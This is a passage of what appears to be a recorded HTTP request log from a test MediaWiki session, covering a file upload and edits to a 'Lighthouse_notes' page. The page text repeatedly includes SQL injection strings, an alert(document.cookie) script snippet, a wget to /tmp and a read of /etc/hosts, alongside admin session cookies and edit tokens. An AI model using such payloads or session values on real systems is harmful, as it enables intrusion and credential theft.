name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb--\r\n"}
{"method": "GET", "target": "/wiki/File:Pic_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png?_=20261109200050", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQ8uGGBD9y406eaI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=bzxdy", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/jquery.tablesorter.styles/images/sort_both.svg?0e440", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGNPKGFIkEp6MCBZL", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.diff.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jtnhc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryui9xf8Ac2sqeBZgh", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: 